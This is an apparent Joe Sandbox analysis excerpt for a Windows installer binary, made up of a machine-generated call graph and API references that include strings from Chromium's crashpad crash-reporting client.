7b5297 56861->56863 56877 7b5307 56862->56877 56898 7b5423 56863->56898 56866 7b5295 56867 738b80 35 API calls 56866->56867 56876 7b52e4 56866->56876 56869 7b52b2 56867->56869 56868 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56870 7b52fb 56868->56870 56871 7b5307 126 API calls 56869->56871 56870->56140 56872 7b52b9 56871->56872 56873 738b80 35 API calls 56872->56873 56872->56876 56874 7b52dc 56873->56874 56928 7b82ae 56874->56928 56876->56868 56878 7b5329 CreateDirectoryW 56877->56878 56879 7b5327 56877->56879 56880 7b540a 56878->56880 56881 7b533c GetLastError 56878->56881 56879->56878 56882 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56880->56882 56883 7b5349 56881->56883 56884 7b5353 56881->56884 56885 7b5416 56882->56885 56886 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56883->56886 56884->56880 56940 73c840 GetLastError 56884->56940 56885->56866 56886->56884 56899 7b5443 56898->56899 56900 7b5445 GetFileAttributesW 56898->56900 56899->56900 56901 7b5514 56900->56901 56904 7b5455 56900->56904 56903 7b550f 56901->56903 56942 73c840 GetLastError 56901->56942 56902 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56905 7b55c6 56902->56905 56903->56902 56904->56903 56907 73bec0 121 API calls 56904->56907 56905->56866 56909 7b5488 56907->56909 56911 6f1741 121 API calls 56909->56911 56913 7b549b 56911->56913 56941 7492e0 23 API calls 56913->56941 56918 7b54bb 56920 6f1741 121 API calls 56918->56920 56922 7b54da 56920->56922 56924 6f1741 121 API calls 56922->56924 56925 7b54ea 56924->56925 56927 73c2a0 121 API calls 56925->56927 56927->56903 56929 737db0 23 API calls 56928->56929 56930 7b82d7 56929->56930 56943 7b8358 56930->56943 56933 7b8354 56935 7b8323 56937 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56935->56937 56939 7b8348 56937->56939 56939->56876 56941->56918 56944 7b8392 56943->56944 56976 7b8388 56943->56976 57006 7ea5fd 56944->57006 56952 7b83d0 56956 7ea5fd CreateFileW 56952->56956 56960 7b83d8 56952->56960 56955 7b83ae 56961 7ac794 128 API calls 56955->56961 56964 7b83bb 56955->56964 56962 7b83ec 56956->56962 56957 7b8509 56958 7b848b 56958->56957 56963 7b84e9 56958->56963 56966 7ea9da 125 API calls 56958->56966 56959 7b844f 56967 7ac794 128 API calls 56959->56967 56971 7b845c 56959->56971 56960->56958 57026 7b898a 56960->57026 56961->56964 56965 7b840b 56962->56965 57051 7ea927 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56962->57051 56968 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56963->56968 57050 7b8aa8 136 API calls 2 library calls 56964->57050 57052 7b8aa8 136 API calls 2 library calls 56965->57052 56970 7b84e0 56966->56970 56967->56971 56973 7b8300 56968->56973 56975 7d6537 128 API calls 56970->56975 57054 7b8aa8 136 API calls 2 library calls 56971->57054 56973->56933 56973->56935 56978 7ea9da UnlockFileEx 56973->56978 56974 7b83fe 56974->56965 56977 7ac794 128 API calls 56974->56977 56975->56963 56976->56960 57009 7ea829 56976->57009 56977->56965 56979 7eaa67 56978->56979 56980 7eaa21 56978->56980 56981 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56979->56981 56980->56979 57055 73c840 GetLastError 56980->57055 56982 7b831a 56981->56982 56990 7d6537 56982->56990 56991 7eac0e 125 API calls 56990->56991 56992 7d6542 56991->56992 56993 7d6549 56992->56993 56994 7ea51e 8 API calls 56992->56994 56993->56935 56998 7d6576 56994->56998 56995 7d65cf 56996 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56995->56996 56997 7d65d9 56996->56997 56997->56935 56998->56995 57056 73c840 GetLastError 56998->57056 57007 7ea5c9 CreateFileW 57006->57007 57008 7b839c 57007->57008 57008->56964 57049 7ea927 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57008->57049 57010 7ea5c9 CreateFileW 57009->57010 57011 7ea853 57010->57011 57012 7ea910 57011->57012 57014 73c840 GetLastError 57011->57014 57013 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57012->57013 57015 7b843d 57013->57015 57016 7ea878 57014->57016 57015->56971 57053 7ea927 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57015->57053 57017 73c9e0 121 API calls 57016->57017 57018 7ea890 57017->57018 57019 6f1741 121 API calls 57018->57019 57020 7ea8a3 57019->57020 57021 7492e0 23 API calls 57020->57021 57022 7ea8c7 57021->57022 57023 6f1741 121 API calls 57022->57023 57024 7ea8eb 57023->57024 57025 73ca90 123 API calls 57024->57025 57025->57012 57027 7eaa84 125 API calls 57026->57027 57028 7b89ae 57027->57028 57029 7b8a8c 57028->57029 57031 7b89cd 57028->57031 57032 7b89c2 57028->57032 57030 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57029->57030 57033 7b8a98 57030->57033 57035 7d63fd 128 API calls 57031->57035 57034 7d6443 128 API calls 57032->57034 57033->56958 57036 7b89cb 57034->57036 57035->57036 57036->57029 57037 7b8a3c 57036->57037 57038 7b89e9 57036->57038 57037->57029 57039 73bec0 121 API calls 57037->57039 57038->57029 57040 73bec0 121 API calls 57038->57040 57041 7b8a63 57039->57041 57042 7b8a20 57040->57042 57043 6f1741 121 API calls 57041->57043 57044 6f1741 121 API calls 57042->57044 57045 7b8a33 57043->57045 57044->57045 57046 71a3e0 121 API calls 57045->57046 57047 7b8a85 57046->57047 57048 73c2a0 121 API calls 57047->57048 57048->57029 57049->56955 57050->56952 57051->56974 57052->56976 57053->56959 57054->56960 57058 7b8358 136 API calls 57057->57058 57059 7b8755 57058->57059 57068 7b8794 57059->57068 57069 7b87cc 57059->57069 57061 7b87c9 57063 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57065 7b87bd 57063->57065 57064 7ea9da 125 API calls 57066 7b878b 57064->57066 57065->56256 57067 7d6537 128 API calls 57066->57067 57067->57068 57068->57061 57068->57063 57076 7eaa84 SetFilePointerEx 57069->57076 57075 7b8774 57075->57061 57075->57064 57077 7eab0f 57076->57077 57087 7eaaff 57076->57087 57077->57087 57115 73c840 GetLastError 57077->57115 57078 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57079 7b87de 57078->57079 57079->57075 57088 7eab75 57079->57088 57087->57078 57089 7eaa84 125 API calls 57088->57089 57090 7eab98 57089->57090 57091 7eab9f SetEndOfFile 57090->57091 57095 7eabf6 57090->57095 57093 7eabac 57091->57093 57091->57095 57092 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57094 7b87eb 57092->57094 57093->57095 57116 73c840 GetLastError 57093->57116 57094->57075 57103 7d6489 57094->57103 57095->57092 57104 7d64b8 57103->57104 57107 7d651a 57104->57107 57117 73c840 GetLastError 57104->57117 57105 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57106 7d652a 57105->57106 57106->57075 57107->57105 57119->55456 57120->55457 57122 748876 __fread_nolock 57121->57122 57123 7766b0 13 API calls 57122->57123 57124 7488a4 57123->57124 57142 82eddb 57124->57142 57126 7488f0 57127 748908 57126->57127 57137 748920 __fread_nolock 57126->57137 57141 74890f 57126->57141 57129 731878 23 API calls 57127->57129 57128 7488ca 57128->57126 57145 82edb7 45 API calls 57128->57145 57129->57141 57131 7766e0 12 API calls 57133 748a25 57131->57133 57132 8293de 3 API calls 57132->57137 57134 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57133->57134 57135 74881c 57134->57135 57135->55470 57136 82eddb 45 API calls 57136->57137 57137->57132 57137->57136 57138 748a01 57137->57138 57137->57141 57146 82edb7 45 API calls 57137->57146 57140 731878 23 API calls 57138->57140 57140->57141 57141->57131 57147 82f500 57142->57147 57144 82edfd 57144->57128 57145->57126 57146->57137 57148 82f521 57147->57148 57149 82f50c 57147->57149 57152 82f532 57148->57152 57156 82f555 57148->57156 57150 83a7f2 __dosmaperr 11 API calls 57149->57150 57151 82f511 57150->57151 57178 83be02 22 API calls __fread_nolock 57151->57178 57154 83a7f2 __dosmaperr 11 API calls 57152->57154 57155 82f53b 57152->57155 57175 82f5e3 57154->57175 57155->57144 57158 83a7f2 __dosmaperr 11 API calls 57156->57158 57157 82f51c 57157->57144 57159 82f55a 57158->57159 57160 82f567 57159->57160 57161 82f594 57159->57161 57179 831ac4 45 API calls 4 library calls 57160->57179 57180 831ac4 45 API calls 4 library calls 57161->57180 57165 82f579 57166 82f5d0 57165->57166 57167 82f581 57165->57167 57166->57155 57173 83a7f2 __dosmaperr 11 API calls 57166->57173 57169 83a7f2 __dosmaperr 11 API calls 57167->57169 57168 82f5a6 57168->57166 57170 82f5ba 57168->57170 57171 82f586 57169->57171 57172 83a7f2 __dosmaperr 11 API calls 57170->57172 57171->57155 57176 83a7f2 __dosmaperr 11 API calls 57171->57176 57174 82f5bf 57172->57174 57173->57175 57174->57155 57177 83a7f2 __dosmaperr 11 API calls 57174->57177 57181 83be02 22 API calls __fread_nolock 57175->57181 57176->57155 57177->57155 57178->57157 57179->57165 57180->57168 57181->57155 57183 734750 _strlen 57182->57183 57184 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57183->57184 57185 734785 57184->57185 57185->55476 57185->55478 57187 73bbdc 57186->57187 57188 73bbc5 57186->57188 57189 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57187->57189 57190 73bbe1 57188->57190 57191 73bbcf 57188->57191 57193 73be00 57189->57193 57192 8293de 3 API calls 57190->57192 57191->57187 57195 73bce3 CreateFileW 57191->57195 57194 73bbe8 __fread_nolock 57192->57194 57193->55496 57197 73bc03 GetModuleFileNameW 57194->57197 57195->57187 57196 73bd1c __fread_nolock 57195->57196 57199 73bd32 GetCurrentDirectoryW 57196->57199 57198 73bc2e 57197->57198 57201 73be0d 57198->57201 57202 73bc3c 57198->57202 57199->57187 57200 73bd58 57199->57200 57200->57187 57203 731bbc 23 API calls 57200->57203 57225 730494 23 API calls 57201->57225 57205 73be14 57202->57205 57206 73bc5a 57202->57206 57212 73bc43 __fread_nolock 57202->57212 57207 73bd6f 57203->57207 57208 83d9b4 _unexpected 34 API calls 57205->57208 57209 8293de 3 API calls 57206->57209 57211 73bd98 57207->57211 57213 731a38 23 API calls 57207->57213 57210 73be19 57208->57210 57209->57212 57214 731a38 23 API calls 57211->57214 57215 73bcbc 57212->57215 57224 731dd6 23 API calls CatchIt 57212->57224 57213->57211 57216 73bda8 57214->57216 57218 731a38 23 API calls 57215->57218 57219 73bdb3 57216->57219 57220 73bdb5 CreateFileW 57216->57220 57221 73bcc8 57218->57221 57219->57220 57220->57187 57222 73bdea 57220->57222 57221->57187 57221->57191 57222->57187 57223->55499 57224->57215 57302 72bad0 57226->57302 57229 719a56 57230 72bad0 11 API calls 57229->57230 57231 719a6a 57230->57231 57231->55505 57233 73bf8d _strlen 57232->57233 57311 745530 57233->57311 57236 73c295 57237 6f1741 119 API calls 57242 73bff9 _strlen 57237->57242 57238 73c028 57239 73c05b 57238->57239 57340 776720 GetCurrentProcessId 57238->57340 57241 73c086 57239->57241 57342 711c60 GetCurrentThreadId 57239->57342 57246 73c096 GetLocalTime 57241->57246 57247 73c18b 57241->57247 57242->57238 57245 6f1741 119 API calls 57242->57245 57243 73c03c 57341 776700 121 API calls 57243->57341 57253 73c017 57245->57253 57343 71a020 121 API calls 57246->57343 57250 73c1b5 57247->57250 57251 73c194 GetTickCount 57247->57251 57257 73c1eb 57250->57257 57272 73c1bc _strlen 57250->57272 57349 71a7a0 121 API calls 57251->57349 57259 6f1741 119 API calls 57253->57259 57254 73c0ce 57344 71a020 121 API calls 57254->57344 57255 73c046 57262 6f1741 119 API calls 57255->57262 57260 6f1741 119 API calls 57257->57260 57259->57238 57265 73c1f8 57260->57265 57262->57239 57263 73c1a4 57267 6f1741 119 API calls 57263->57267 57269 71a200 119 API calls 57265->57269 57266 73c0e8 57270 6f1741 119 API calls 57266->57270 57271 73c1b2 57267->57271 57273 73c1e0 57269->57273 57274 73c0fa 57270->57274 57271->57250 57275 6f1741 119 API calls 57272->57275 57276 6f1741 119 API calls 57273->57276 57345 71a020 121 API calls 57274->57345 57275->57273 57278 73c215 57276->57278 57315 744e00 57278->57315 57279 73c117 57346 71a020 121 API calls 57279->57346 57283 73c131 57347 71a020 121 API calls 57283->57347 57284 6f1741 119 API calls 57286 73c233 57284->57286 57318 71a200 57286->57318 57287 73c14b 57289 6f1741 119 API calls 57287->57289 57291 73c159 57289->57291 57348 71a020 121 API calls 57291->57348 57292 6f1741 119 API calls 57294 73c24d 57292->57294 57330 6f5604 57294->57330 57295 73c176 57296 6f1741 119 API calls 57295->57296 57298 73c188 57296->57298 57298->57247 57299 73c259 57300 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57299->57300 57301 6f11a4 57300->57301 57301->55509 57305 72ba10 57302->57305 57306 72ba70 57305->57306 57310 71b08a 57305->57310 57307 8294e7 __Init_thread_header 6 API calls 57306->57307 57308 72ba7a 57307->57308 57309 82955d __Init_thread_footer 5 API calls 57308->57309 57308->57310 57309->57310 57310->57229 57314 745560 57311->57314 57312 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57313 73bfaf 57312->57313 57313->57236 57313->57237 57314->57312 57350 71ac90 57315->57350 57319 71a249 57318->57319 57320 71a33c 57318->57320 57322 71a260 57319->57322 57324 719db0 121 API calls 57319->57324 57321 6f19a0 121 API calls 57320->57321 57323 71a344 57321->57323 57377 72bb88 57322->57377 57323->57292 57324->57322 57326 71a28f 57327 72bb88 10 API calls 57326->57327 57329 71a2d3 57326->57329 57327->57329 57329->57320 57383 71afea 121 API calls 57329->57383 57331 6f5628 57330->57331 57332 6f5615 57330->57332 57333 6f56ff 57331->57333 57334 6f5651 57331->57334 57332->57333 57335 6f567a 57332->57335 57339 6f5619 57332->57339 57386 730494 23 API calls 57333->57386 57337 8293de 3 API calls 57334->57337 57334->57339 57338 8293de 3 API calls 57335->57338 57335->57339 57337->57339 57338->57339 57339->57299 57340->57243 57341->57255 57343->57254 57344->57266 57345->57279 57346->57283 57347->57287 57348->57295 57349->57263 57351 71acf4 57350->57351 57352 71acd6 57350->57352 57356 71ad0e 57351->57356 57364 719db0 57351->57364 57358 6f19a0 57352->57358 57356->57352 57372 71afea 121 API calls 57356->57372 57359 6f19fa 57358->57359 57360 6f19b5 57358->57360 57359->57284 57360->57359 57373 7190f8 8 API calls 57360->57373 57362 6f19c8 57362->57359 57374 71afea 121 API calls 57362->57374 57365 719deb 57364->57365 57370 719e4b 57364->57370 57375 719fe8 121 API calls 57365->57375 57367 719e06 57368 719e43 57367->57368 57376 71afea 121 API calls 57367->57376 57369 6f19a0 121 API calls 57368->57369 57369->57370 57370->57356 57372->57352 57373->57362 57374->57359 57375->57367 57376->57368 57384 72bb32 9 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57377->57384 57379 72bb98 57380 72bbae 57379->57380 57385 72b9d4 RaiseException CallUnexpected 57379->57385 57380->57326 57382 72bbb8 57382->57326 57383->57320 57384->57379 57385->57382 57387->55517 57388->55510 57390 7359b0 57389->57390 57391 7313a0 23 API calls 57390->57391 57394 735a14 57390->57394 57391->57394 57392 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57393 735bc3 57392->57393 57393->55527 57394->57392 57396 735f1d 57395->57396 57406 735c4b 57395->57406 57397 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57396->57397 57398 735904 57397->57398 57398->55530 57398->55531 57399 7313a0 23 API calls 57399->57406 57400 73225a 23 API calls 57400->57406 57401 731a38 23 API calls 57401->57406 57402 735960 23 API calls 57402->57406 57404 731878 23 API calls 57404->57406 57406->57396 57406->57399 57406->57400 57406->57401 57406->57402 57406->57404 57407 735220 23 API calls 2 library calls 57406->57407 57408 6f7c80 35 API calls 2 library calls 57406->57408 57407->57406 57408->57406 57409->55541 57411 71abdb 57410->57411 57412 71aba5 57410->57412 57414 6f19a0 121 API calls 57411->57414 57413 71abbc 57412->57413 57416 719db0 121 API calls 57412->57416 57413->57411 57439 71afea 121 API calls 57413->57439 57415 71ac23 57414->57415 57415->55550 57416->57413 57419 8428f8 57418->57419 57420 8428db 57418->57420 57419->55559 57420->57419 57421 8428fc 57420->57421 57422 8428e8 57420->57422 57441 842af4 70 API calls 2 library calls 57421->57441 57423 83a7f2 __dosmaperr 11 API calls 57422->57423 57426 84292e 57426->55559 57429 8419b5 57428->57429 57432 8419be 57428->57432 57437->55560 57439->57411 57441->57426 57445 783960 57444->57445 57446 783932 57444->57446 57447 783975 57444->57447 57448 783947 57444->57448 57460 783945 57444->57460 57451 8293de 3 API calls 57445->57451 57450 8293de 3 API calls 57446->57450 57449 8293de 3 API calls 57447->57449 57454 8293de 3 API calls 57448->57454 57448->57460 57452 78397c 57449->57452 57453 783939 57450->57453 57455 783967 57451->57455 57473 7c9530 128 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57452->57473 57471 7c92c0 GetHandleVerifier CreateEventW GetLastError SetLastError ResetEvent 57453->57471 57459 783998 57454->57459 57472 7cac30 GetHandleVerifier CreateIoCompletionPort GetLastError SetLastError 57455->57472 57474 7c9530 128 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57459->57474 57460->55582 57475 783a00 57462->57475 57464 749e6e 57478 783af0 57464->57478 57466 749e89 57484 78b0a0 57466->57484 57471->57460 57472->57460 57473->57460 57474->57460 57491 74baf0 57475->57491 57479 783b1a 57478->57479 57497 783a50 57479->57497 57482 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57483 783b58 57482->57483 57483->57466 57593 781900 57484->57593 57492 74bb17 57491->57492 57496 74bb10 57491->57496 57493 8294e7 __Init_thread_header 6 API calls 57492->57493 57494 74bb21 57493->57494 57495 82955d __Init_thread_footer 5 API calls 57494->57495 57494->57496 57495->57496 57496->57464 57506 7cb9e0 57497->57506 57500 8293de 3 API calls 57501 783a8a 57500->57501 57511 783be0 57501->57511 57504 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57505 783adf 57504->57505 57505->57482 57507 8293de 3 API calls 57506->57507 57508 7cb9f6 57507->57508 57525 7cb7a0 57508->57525 57512 783c20 57511->57512 57513 783c5c 57512->57513 57551 741c30 20 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57512->57551 57531 7839b0 57513->57531 57516 783c94 57534 783de0 57516->57534 57520 783ce3 57522 783cf0 57520->57522 57552 711c60 GetCurrentThreadId 57520->57552 57523 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57522->57523 57524 783ab5 57523->57524 57524->57504 57526 7cb7cb 57525->57526 57527 8293de 3 API calls 57526->57527 57528 7cb7ed 57527->57528 57529 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57528->57529 57530 783a7d 57529->57530 57530->57500 57553 75a910 57531->57553 57535 783e40 57534->57535 57564 7cd500 57535->57564 57537 783f06 57538 8293de 3 API calls 57537->57538 57539 783f7b 57538->57539 57569 7cd920 57539->57569 57541 783f98 57574 789a60 57541->57574 57543 7840a6 57544 7840b8 __fread_nolock 57543->57544 57577 741b20 8 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57543->57577 57546 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57544->57546 57547 783cd7 57546->57547 57548 73cde0 57547->57548 57549 8293de 3 API calls 57548->57549 57550 73cdf2 57549->57550 57550->57520 57551->57513 57554 75a956 57553->57554 57562 75a93e 57553->57562 57556 8294e7 __Init_thread_header 6 API calls 57554->57556 57555 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57557 75a94e 57555->57557 57558 75a960 57556->57558 57557->57516 57558->57562 57563 78fdf0 23 API calls 57558->57563 57560 75a974 57561 82955d __Init_thread_footer 5 API calls 57560->57561 57561->57562 57562->57555 57563->57560 57578 7eecb0 57564->57578 57567 7eecb0 3 API calls 57568 7cd54a 57567->57568 57568->57537 57570 8293de 3 API calls 57569->57570 57571 7cd93b 57570->57571 57572 8293de 3 API calls 57571->57572 57573 7cd958 57572->57573 57573->57541 57575 8293de 3 API calls 57574->57575 57576 789a75 57575->57576 57576->57543 57577->57544 57579 8293de 3 API calls 57578->57579 57580 7eecc6 57579->57580 57581 8293de 3 API calls 57580->57581 57582 7eecdc 57581->57582 57583 8293de 3 API calls 57582->57583 57584 7eecf2 57583->57584 57585 8293de 3 API calls 57584->57585 57586 7eed08 57585->57586 57587 8293de 3 API calls 57586->57587 57588 7eed1e 57587->57588 57589 8293de 3 API calls 57588->57589 57590 7eed34 57589->57590 57591 8293de 3 API calls 57590->57591 57592 7cd536 57591->57592 57592->57567 57595 781920 57593->57595 57594 8294e7 __Init_thread_header 6 API calls 57594->57595 57595->57594 57597 82955d __Init_thread_footer 5 API calls 57595->57597 57598 74b630 28 API calls 57595->57598 57597->57595 57598->57595 54790 756360 54791 75637c 54790->54791 54792 75636e 54790->54792 54794 758370 GetHandleVerifier 54792->54794 54795 758383 54794->54795 54795->54791 57638 6f75b0 57639 6f75c1 57638->57639 57640 6f75ed 57639->57640 57641 6f7675 57639->57641 57643 6f767c 57640->57643 57644 6f760a 57640->57644 57648 6f75f7 __fread_nolock 57640->57648 57689 730494 23 API calls 57641->57689 57645 83d9b4 _unexpected 34 API calls 57643->57645 57646 8293de 3 API calls 57644->57646 57649 6f7681 57645->57649 57646->57648 57647 6f7669 57648->57647 57650 731878 23 API calls 57648->57650 57654 6f76da 57649->57654 57655 70fbfa 57649->57655 57650->57647 57651 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57652 6f7714 57651->57652 57654->57651 57656 70fc28 57655->57656 57658 70fc3c 57655->57658 57657 738b80 35 API calls 57656->57657 57657->57658 57659 70fc8a 57658->57659 57660 70fc5b 57658->57660 57661 70fc92 57659->57661 57662 70fcb5 57659->57662 57663 738b80 35 API calls 57660->57663 57695 749420 35 API calls _unexpected 57661->57695 57664 740ee0 194 API calls 57662->57664 57666 70fc6c 57663->57666 57668 70fcd0 57664->57668 57667 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 57666->57667 57670 70fc80 57667->57670 57671 6f3696 121 API calls 57668->57671 57688 70fdf3 57668->57688 57669 70fe38 _strlen 57696 749420 35 API calls _unexpected 57669->57696 57670->57654 57673 70fcf3 _strlen 57671->57673 57690 747bc0 23 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57673->57690 57676 70ff80 57680 70febc 57676->57680 57698 731ea8 23 API calls CatchIt 57676->57698 57677 737cd0 35 API calls 57677->57666 57678 70fd1f _strlen 57691 747bc0 23 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57678->57691 57680->57666 57680->57677 57682 70fd4a 57692 70f9f0 121 API calls 57682->57692 57684 70fd5a 57693 747bc0 23 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57684->57693 57686 70fd7d 57694 739d80 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 57686->57694 57688->57680 57697 70f8e0 24 API calls 2 library calls 57688->57697 57690->57678 57691->57682 57692->57684 57693->57686 57694->57688 57695->57669 57696->57688 57697->57676 57698->57680

                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                Function 0076B18D Relevance: 64.3, APIs: 15, Strings: 21, Instructions: 1257threadprocessCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0076B643
                                                                                                                                                                                                                • OpenProcess.KERNEL32(001F0FFF,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0076B651
                                                                                                                                                                                                                • GetStdHandle.KERNEL32(000000F6), ref: 0076B845
                                                                                                                                                                                                                • GetStdHandle.KERNEL32(000000F5), ref: 0076B850
                                                                                                                                                                                                                • GetStdHandle.KERNEL32(000000F4), ref: 0076B85B
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0076B9A6
                                                                                                                                                                                                                • InitializeProcThreadAttributeList.KERNEL32(00000000,00000001,00000000,?,?,?,?,?,?,00000000,008A4F64,00000000), ref: 0076B9D0
                                                                                                                                                                                                                • CreateProcessW.KERNELBASE(?,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?), ref: 0076BAD9
                                                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?), ref: 0076BAEE
                                                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000,008A4F64,00000000), ref: 0076BB5E
                                                                                                                                                                                                                • UpdateProcThreadAttribute.KERNEL32(?,00000000,00020002,00000000,?,00000000,00000000,00000008,?,?,?,?,?,00000000,008A4F64,00000000), ref: 0076C27E
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0076C2DC
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0076C30F
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0076C321
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0076C361
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Handle$Process$AttributeCloseInit_thread_footerInit_thread_headerProcThread$CreateCurrentErrorInitializeLastListOpenUpdate
                                                                                                                                                                                                                • String ID: --initial-client-data=$../../third_party/crashpad/crashpad/client/crashpad_client_win.cc$::InitializeProcThreadAttributeList$::UpdateProcThreadAttribute$CloseHandle process$CloseHandle thread$CreateProcess$D$InitializeProcThreadAttributeList$InitializeProcThreadAttributeList (size)$InitializeProcThreadAttributeList (size) succeeded, expected failure$OpenProcess$UpdateProcThreadAttribute$annotation$attachment$crash-count-file$database$kernel32.dll$metrics-dir$rundll32.exe$url
                                                                                                                                                                                                                • API String ID: 2411058256-4240345948
                                                                                                                                                                                                                • Opcode ID: 5ef1930ed80ac9d2865d7b508361c263ff75d927cc956ffec4465f0822ddd098
                                                                                                                                                                                                                • Instruction ID: 70a03e6c3917faacab4fbfdc00deefc7c5f141cfde3914f5987af158b9ceafdc
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5ef1930ed80ac9d2865d7b508361c263ff75d927cc956ffec4465f0822ddd098
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 47A2C3B1A083509FDB21DB24C845BABB7E5BFC5710F05492DE8CAD7381EB75A944CB82
                                                                                                                                                                                                                Function 0076F1B4 Relevance: 30.7, APIs: 2, Strings: 15, Instructions: 961COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0076F1F4
                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 0076F980
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
